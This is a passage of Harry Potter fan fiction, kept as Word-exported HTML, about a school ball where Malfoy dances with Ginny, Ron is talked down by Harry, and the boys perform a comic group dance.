class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Why yes, you may.&#8221; She\nreturned. Each grinned at each other before walking out on the dance floor and\nstarting to slow dance to the song as well. They danced close to Harry and\nHermione, making quiet comments to each other about how close the two were\ndancing. As it seemed, Professor McGonagall was holding herself back. She\nclearly looked like she wanted to separate the pair. And they were prefects\ntoo! <i style="mso-bidi-font-style:normal">Honestly</i>! Kids now a days&#8230;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ginny looked around the room,\nscanning the people in her field of vision. So far she had seen neither heads\nnor tails of her date as of yet. Although her answer to his proposal had been\nnothing more than a smile and a nod the next day when they walked past each\nother, she was sure that he knew how to take it. The song was already half over\nnow and she had started searching the moment it had begun playing and people\nstood up. Did he stand her up? Was she fooled by him?&nbsp; The red head suddenly felt very alone, and\nlet her shoulders sag a little. &#8216;<i style="mso-bidi-font-style:normal">I was\nstupid to think he would actually want to</i>.&#8217; She thought to herself/ &#8216;<i style="mso-bidi-font-style:normal">He&#8217;s probably laughing with Pansy right now&#8230;</i>&#8217;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;There you are.&#8221; A voice\nsaid, followed by a soft touch on her shoulder. &#8220;I went to your table after\nthey started dancing but you weren&#8217;t there.&#8221; Ginny turned around slowly and\nlooked up slightly. Malfoy was standing in front of her, looking a just a\nlittle more than slightly embarrassed. &#8220;Um, you <i style="mso-bidi-font-style:\nnormal">did</i> mean that nod as a yes, didn&#8217;t you?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ginny allowed herself a\nblush. &#8220;Yeah.&#8221; She said meekly, clearly embarrassed. &#8220;I went looking for you, I\ndidn&#8217;t think you would&#8230;I mean&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Malfoy sighed. &#8220;Look, I know\nI&#8217;ve been a complete prat to you all these years. I just didn&#8217;t know any other\nway to live.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;And now?&#8221; She looked into\nhis eyes, almost getting lost in their soft glow.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Now,&#8221; He said softly,\nholding out his hand, palm upwards. &#8220;I have someone who teaches me how to live&#8230;\nand a girl who is willing to help.&#8221; Ginny blushed and placed her hand in his,\ngasping lightly when she swept into a bow and kissed it. &#8220;My lady,&#8221; He started.\n&#8220;Might you dance with me?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;<i style="mso-bidi-font-style:\nnormal">Who would have thought&#8230;</i>?&#8217;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry grinned to him self\nwhen the first song faded into the next without as much as a pause from the\nband. Hermione lifted her head from his chest and looked up at him with a small\ninquisitive smile. &#8220;What are you thinking about?&#8221; She asked up at him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Just how I&#8217;m not really\nnervous anymore.&#8221; He replied, looking down. &#8220;I mean, we have the tournament\nsoon and everything&#8230; but now that I&#8217;m here at the dance, with you, it&#8217;s like I\ndon&#8217;t care.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re such a sweet talker.&#8221;\nShe was obviously impressed. When he blinked and gave her a confused look, she\nonly laughed to herself. &#8220;Don&#8217;t worry, it&#8217;s a good thing.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry pondered on what he\nsaid to get that type of reaction, but shrugged it off. Looking over Hermione&#8217;s\nhead, he scanned the room for his friends to see who they were dating this\nparticular night. It seemed that Dean was with a Ravenclaw again and Seamus was\nwith a girl that Harry thought was in Hufflepuff. A moment later he saw Ron and\nLavender dancing together. Ron was facing him and the pair gave each other the\nthumbs up behind their date&#8217;s backs. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry was about to turn his\nattention back to Hermione, but the next sight made him freeze completely. He\nheard Hermione ask what was wrong and felt her try to steady herself from his\nsudden lack of movement. &#8220;Malfoy&#8230;?&#8221; He asked aloud in a whisper without realizing\nit.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Malfoy?&#8221; Hermione asked,\nlooking up.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Malfoy?&#8221; Ron mouthed out,\nobviously reading Harry&#8217;s lips. The red headed boy turned around then, just in\ntime to see Ginny and Malfoy move into his line of vision. Ron&#8217;s reaction was\nclear. He didn&#8217;t like it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh no.&#8221; Harry groaned,\nquickly moving to stop it. &#8220;Hermione, I&#8217;ll be back in a tic. Be a good girl and\nget me some punch, would you, love? Thanks.&#8221; He walked briskly and made it to\nRon just as he edscused himself from his date. &#8220;Yo Ron!&#8221; He said happily,\ndraping an arm over his shoulders. &#8220;Want something to snack on? Me too, let&#8217;s\ngo!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron struggled against his\nhold, but Harry held tight, leading him away from the dance floor and over to\ntheir table. &#8220;Harry!&#8221; Ron kept his voice low, but clearly wanted to yell. &#8220;You\nsaw that too!? I&#8217;m gonna <i style="mso-bidi-font-style:normal">kill</i> him!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Look!&#8221; Harry said, grabbing\nhis shoulders while he turned to leave. &#8220;Ron, listen!&#8221; His friend glared, but\nstayed out of respect for his best friend. &#8220;Ron,&#8221; Harry repeated in a softer\ntone. &#8220;I don&#8217;t really like it either, but look at it from Ginny&#8217;s view. In the\ncircle, Hermione, you, and I have basically been working together, leaving them\nalone for an hour and a half two times a week. That&#8217;s not counting the time we\nall meet to practice. Also think about how he&#8217;s been acting. Not once has he\ndone anything against us, and has even helped <i style="mso-bidi-font-style:\nnormal">Neville</i> out.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron grit his teeth and took a\nbreath. &#8220;But&#8230;&#8221; He looked at him. &#8220;She&#8217;s my <i style="mso-bidi-font-style:normal">sister</i>!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I <i style="mso-bidi-font-style:\nnormal">know</i> that Ron.&#8221; Harry said, looking him in the eyes. &#8220;Its common\nknowledge me and Malfoy hate each other&#8230; but I sense something. Something has\nchanged. I don&#8217;t know what, but it&#8217;s there. Also, I found out he ran away from\nhome.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Shock.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Malfoy did?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I think he&#8217;s in hot water\nwith Voldemort.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Forget the dumb name for\nnow!&#8221; Harry spat before calming. &#8220;Look, something&#8217;s up with him and as of now\nhe&#8217;s a neutral unit. He&#8217;s changing into a good person, Ron. You already agreed\non giving him a second chance, did you not?&#8221; Ron opened his mouth to reply, but\nclosed it. Harry repeated himself to him softer. &#8220;Did you not Ron? Has he\nbetrayed you?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron shook his head. &#8220;He\nhasn&#8217;t&#8230; Not yet. I don&#8217;t trust him, but Ginny&#8217;s a big girl. I can stomach it\nfor her, I guess. Balls are important to girls, right?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry smirked. &#8220;That they\nare, my friend, that they are. Now, let&#8217;s get back to our girls, okay?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;And Ron?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah Harry?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s real cool how you&#8217;re\ntaking it. Ginny will be proud.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry, you came back!&#8221;\nHermione greeted him with a cup of punch. &#8220;I thought I&#8217;d have to find you!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Why do you say that?&#8221; He\ntook said drink and drank a sip. &#8220;Hey, this is good.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Last ball, you danced once\nand then ran off with Ron.&#8221; She pointed out, giving him a look.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ah, yeah, I did do that,\ndidn&#8217;t I?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You did.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I just had to, er; take care\nof something, that&#8217;s all.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;With Malfoy?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;How did you know?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You said his name before you\nran off.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ah.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione stomped her foot\nlightly. &#8220;Harry! Out with it!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Huh? Oh, sorry, sorry.&#8221; He\ntook another drink of his punch and explained to her about how he saw Malfoy\nand Ginny dancing together and how Ron took it. He then went on to explain how\nhe got him to calm down before trying to find her again. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, I&#8217;m impressed,&#8221;\nHermione praised him. &#8220;You did a good job keeping your feelings down like that.\nAs for me, if Ginny sees something in him we can&#8217;t see, I&#8217;ll just have to take\nher word on it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re mature.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I know.&#8221; She took his arm\nafter setting her cup down on their table. &#8220;Come on; let&#8217;s dance again before\nthe fast songs come!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">And so they danced together a\nfew more times before the band broke out into faster songs, getting whoops from\nthe guys as they quickly started dancing to the beat. Ron and Harry went to the\nbuffet line and picked out a few random things while talking to each other\nabout nothing in general. Their dates had gone to the bathroom, leaving them\nalone. Ron then asked the universal question: &#8220;Why do girls always go to the\nloo in groups?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Beats me.&#8221; Harry shrugged.\n&#8220;It&#8217;s kind of freaky.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I think they encourage each\nother.&#8221; Malfoy added in, walking next to them. &#8220;My date left me for girl.&#8221; He\npointed out on the dance floor to Ginny and a girl who went by the name of\nJessica dancing together to a complicated looking number.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ginny likes to dance.&#8221; Ron\nsaid airily, biting into a peeled orange. &#8220;You&#8217;ll be lucky to have her alone\nfor three minutes. And if you do, she&#8217;ll talk you ear off. Just nod and smile&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Malfoy picked up a pear and\nbit into it. &#8220;Thanks for the advice. For a moment there I thought we&#8217;d have a\nlittle scuffle.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron snorted. &#8220;Please, I&#8217;m\nmore mature than that. I may not like you, but I know my little sister can take\ncare of herself without me watching her back.&#8221; He shrugged. &#8220;Besides, even you\naren&#8217;t dumb enough to try anything. What, with Harry, Hermione, Ginny, and I\nall watching you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Malfoy looked impressed. &#8220;I\nunderestimated you, Weasley.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron gave Harry a look, which\nmade his best friend bite back a laugh.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey, Malfoy!&#8221; The three\nturned to see a small group of Slytherns standing together. &#8220;What are you doing\nwith the Gryffindors?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Malfoy shrugged. &#8220;The rest of\nmy years don&#8217;t care too much for me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I heard that, but I didn&#8217;t\nknow it was true.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry gave Malfoy a look, to\nwhich he rolled his eyes. &#8220;Guys,&#8221; Malfoy moved his hand to Harry. &#8220;Harry\nPotter, Ron Weasley. Potter, Weasley, guys.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Nice introduction.&#8221; Ron said\nsarcastically.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The small group laughed and\none of the girls spoke up. &#8220;Save me a dance, Draco.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Malfoy waved lightly and the\npeople departed. The three boys turned back to the table. Malfoy answered the\nquestion before it was asked. &#8220;Seventh years are mainly following Voldemort.&#8221;\nHere both Harry and Ron looked shocked that he said his real name. &#8220;From what I\ncan tell, only a few others are in with the dark lord.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;ll make a mental note.&#8221;\nHarry mused. &#8220;We need to talk about this later. Now&#8217;s not the time.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Agreed.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron sighed. &#8220;I&#8217;ll be in too,\nguys. I&#8217;m not letting Harry fight on his own.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;<b style="mso-bidi-font-weight:\nnormal">What is love? Baby don&#8217;t hurt me&#8230; don&#8217;t hurt me&#8230; no more!<i style="mso-bidi-font-style:normal">&#8221;</i><u></u></b></p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal"><u>&nbsp;</u></b></p>\n\n<p class="MsoNormal">All three boys instantly\nstarted nodding their heads to the side as the song played, repeating the line.\nWhen a music break came in a few seconds later, all three started to turn\naround at the same time, still nodding their heads. Each held a cup of punch\nand took a slow drink all at the same time while somehow still managing the\nsideways nodding of their heads. Across the room a girl pointed at them and\nmoved her finger in a beckoning motion.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Me?&#8221; Harry asked pointing to\nhimself.</p>\n\n<p class="MsoNormal">&#8220;Him?&#8221; Ron asked, pointing to\nMalfoy.</p>\n\n<p class="MsoNormal">&#8220;Me?&#8221; Malfoy asked, pointing\nto himself.</p>\n\n<p class="MsoNormal">&#8220;Him?&#8221; Harry pointed at Ron</p>\n\n<p class="MsoNormal">&#8220;Me?&#8221; Ron pointed at himself.</p>\n\n<p class="MsoNormal">&#8220;Him?&#8221; Malfoy pointed at\nHarry.</p>\n\n<p class="MsoNormal">&#8220;Him?&#8221; Ron asked, pointing\nalso at Harry.</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s <i style="mso-bidi-font-style:\nnormal">me</i>!&#8221; Malfoy suddenly declared, walking out from the group and to\nthe girl</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s you!&#8221; the two remaining\nguys chorused. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Malfoy danced nicely at\nfirst, keeping the head movement, but the girl soon got annoyed and left.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What&#8217;s her problem?&#8221;</p>\n\n<p class="MsoNormal">&#8220;Beats me.&#8221;</p>\n\n<p class="MsoNormal">&#8220;Our dates are back anyway.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry jumped onto the dance\nfloor as a song he knew quite well started playing. Soon Ron was by his side\nand to both their amazements; Malfoy took the other side of Harry. All three\ntook a step to the right, crosses over their left legs, and spun around. They\nthen slid to the right, to the left, backwards, and then hopped once. When they\nlanded on the beat and took another step, they found Dean to Ron&#8217;s right and\nSeamus to Malfoy&#8217;s left. All five stepped forward with their left leg and\nturned, once more dancing. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A circle came around the\ngroup, giving them room to dance. Ron and Harry stepped forward while the other\nthree went backwards. They stepped, spun, and walked back between the other\nset, pulling a few more moves. Several girls started to cheer them on, but no\nother guys walked to the floor. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Slide to left. Take it back.\nTwo hops, two hops. Left foot stomp, right foot stomp! Cha cha now! Criss\ncross. Criss cross. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Several more cheers erupted\nas all the moves went on beat and without a hitch. There was a short break in\nwhich a few girls joined their dates. Hermione stayed behind, but Ginny went to\nMalfoy and Heather to Dean. A girl that Harry didn&#8217;t know stood in front of\nSeamus. Lavender joined Ron. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Taking to the new partners,\nthey formed an almost triangle formation; Harry at the main tip. Being partner-less,\nhe lead the dance, pulling the more complex moves while the group behind did\nthe basic partner moves. A minute later the song finally ended and everyone\nburst into applause. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That was <i style="mso-bidi-font-style:normal">great</i>!&#8221; Hermione squeaked, hugging Harry\nwhen she was able to. &#8220;Where on <i style="mso-bidi-font-style:normal">earth</i>\ndid you learn <i style="mso-bidi-font-style:normal">that</i>?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Dance dance revolution,\nseven mix.&#8221; Harry smirked. &#8220;Dudley&#8217;s new &#8216;exercise method&#8217;. I played it when they left\nthe house and I wasn&#8217;t locked in my room. Also-&#8220;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Also, Harry told me how to\ndo it.&#8221; Ron joined in, an arm around Dean and Seamus. &#8220;These guys know as well.\nAs for the girls?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8230; is a Secret.&#8221; Ginny\nstated, walking over to them with a grin plastered on her face and Malfoy in\ntow behind her. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Malfoy, you may have been a\njerk off for six years, but even I will admit when someone can dance well.&#8221; Ron\nsmirked to himself.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Coming from you, that&#8217;s as\nclose as a compliment I&#8217;ll lever get.&#8221; Malfoy joked, making his date laugh.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Boys boys, not now. I&#8217;m\nhaving a great time!&#8221; She turned to Malfoy. &#8220;Dance with me, Draco?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sure, sure.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry moved to wave, but\nHermione grabbed his hand and lead him to the dance floor to join in the next\nslow song.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It would be rude to leave\nthem alone out there.&#8221; Ron said, bowing and holding out his hand. &#8220;My lady?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lavender laughed, shaking her\nhead lightly. &#8220;You&#8217;re a goof ball.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry pulled Hermione close\nto him while the song played. It was almost time for the ball to end now, and\nmore than a few students had already retreated to the dorms. There was only one\nmore dance rave with the guys, and that was only a few minutes ago. Harry had\ndeserted his robes a while ago, as had most guys. He was also down to just his\nwhite undershirt and pants. Looking around, one would notice not a single guy\nwas still wearing their full formal attire. It had gotten below formal after\nthe first rave of dances.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I like this song.&#8221; Hermione\nwhispered against Harry&#8217;s chest softly. She had her head rested against him,\nreaching his shoulder with her heels on.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Me too, now.&#8221; Harry replied\nin a whisper, using one hand to stroke her hair lovingly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione swallowed and looked\nup into his eyes. &#8220;Want to go back to the dorms?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry nodded, before\nreplying. &#8220;Yeah.&#8221; The two looked at each other for a moment before blushing.\nHermione took his hand and lead him away from the dance floor and over to get\ntheir things. A moment later, they were walking towards the door.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Don&#8217;t look now.&#8221; Malfoy\nwhispered to his date, which was leaning on him. &#8220;But Potter and Granger are\ngoing oooooffffffffffff.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ginny looked over her\nshoulder and grinned. &#8220;Gee, I wonder what <i style="mso-bidi-font-style:normal">they</i>\nare about to do?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Malfoy was taken aback. &#8220;Hey,\nI was just kidding. Geeze, you know more about how the world works than you let\noff, don&#8217;t you?&#8221; Ginny only smiled up at him innocently.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Why, I have no idea what you\nmean, Draco.&#8221; She winked and returned to his chest.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron had seen his best friend\nwalk out of the ballroom without telling him goodbye and came to the same\nconclusion.&nbsp; He held a smile of knowing,\nbut soon he turned back to his date and changed the smile to suit her. Lavender\nsmiled back up at him while closing the small space between them and wrapping\nher arms around his neck. She laid her head on his chest and moved to the music\nwithout really trying to. Ron closes his eyes and rested his cheek on her head,\ngetting a smell of her hair and grinning.</p>\n\n<p 